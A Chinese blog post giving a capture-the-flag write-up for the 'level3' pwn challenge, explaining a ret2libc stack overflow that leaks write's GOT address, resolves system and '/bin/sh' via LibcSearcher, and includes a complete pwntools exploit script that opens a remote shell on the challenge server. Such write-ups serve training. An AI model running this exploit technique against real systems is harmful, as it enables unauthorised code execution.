美文网首页
level3攻防世界pwn

level3攻防世界pwn

作者: 杰_74 | 来源:发表于2019-08-18 22:48 被阅读0次

checksec level3
./level3


ida,无system无binsh,要通过泄露write函数来泄露libc版本,才能找到system和binsh的地址。
第一次溢出返回到write函数执行write(1,write_got,4)得到write的真实地址,计算得到system跟"/bin/sh"的真实地址,然后再返回到vulnerable_function函数,第二次回到溢出点,覆盖返回地址到system执行system("/bin/sh")


栈溢出

gdb爆偏移为140


脚本为

#-*-coding:utf-8-*-
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
import pwnlib

context.terminal=['gnome-terminal','-x','sh','-c']
sh = remote("111.198.29.45","39255")
#sh = process('./level3')
elf = ELF('./level3')

write_plt = 0x08048340#write_plt = elf.plt['write']
write_got = 0x0804A018#write_got = elf.got['write']
vuln = 0x0804844B
print "write_plt =",hex(write_plt)
print "vuln =",hex(vuln)

print "leak write_got addr and return to vulnerable function again"
payload = ''
payload += 'A'*140
payload += p32(write_plt)
payload += p32(vuln)
payload += p32(1) + p32(write_got) + p32(4)

#gdb.attach(sh)
sh.sendlineafter(':\n', payload)

print "get the related addr"
write_addr = u32(sh.recv()[0:4])
print "write_addr =",hex(write_addr)
libc = LibcSearcher('write',write_addr)
libcbase = write_addr - libc.dump('write')
system_addr = libcbase + libc.dump('system')

binsh_addr = libcbase + libc.dump('str_bin_sh')
print "libcbase =",hex(libcbase)
print "system_addr =",hex(system_addr)
print "binsh_addr =",hex(binsh_addr)

print "getshell"
payload = ''
payload += 'A'*140
payload += p32(system_addr)
payload += p32(0xdeadbeef)
payload += p32(binsh_addr)

sh.sendline(payload)
sh.interactive()
成功

相关文章

  • level3攻防世界pwn

    checksec level3./level3 ida,无system无binsh,要通过泄露write函数来泄露...

  • 2019-05-30 新手练习区完结

    至此攻防世界的pwn新手练习区完结了

  • hello_pwn攻防世界pwn

    checksec然后试运行 放入64位ida,看看main函数 点击read函数里的unk_601068,再点击i...

  • 攻防世界 Pwn wp

    0x01get_shell 下载附件后直接丢IDA F5 0x02CGfsb 先用checksec查看开了哪些保护...

  • 攻防世界新手练习pwn

    0x00 get_shell 0x01 CGfsb 首先检查保护 nc连接输入信息为aaaa加很多个控制字符发现p...

  • 攻防世界高手进阶pwn

    歇了很长一段时间,终于开始了我的攻防世界pwn之路。立一个flag:每日一题,只能多不能少。 0x00 dice_...

  • [JarvisOj](pwn)level3_x64

    简介 : nc pwn2.jarvisoj.com 9883 该题和 level3 的代码相比 : 少了在 rea...

  • 攻防世界 level3 wp

    0x01寻找漏洞 checksec ida分析 漏洞可以很轻松的找到,read处存在栈溢出 0x02思路分析 无l...

  • level0攻防世界pwn

    checksec然后试运行 放入64位IDA,F5大法 发现callsystem函数 找到callsystem的地...

  • cgpwn2攻防世界pwn

    checksec后试运行,有两个输入 32位ida 点进去hello() 可以利用fgets和gets栈溢出 发现...

网友评论

      本文标题:level3攻防世界pwn

      本文链接:https://www.haomeiwen.com/subject/xfqcsctx.html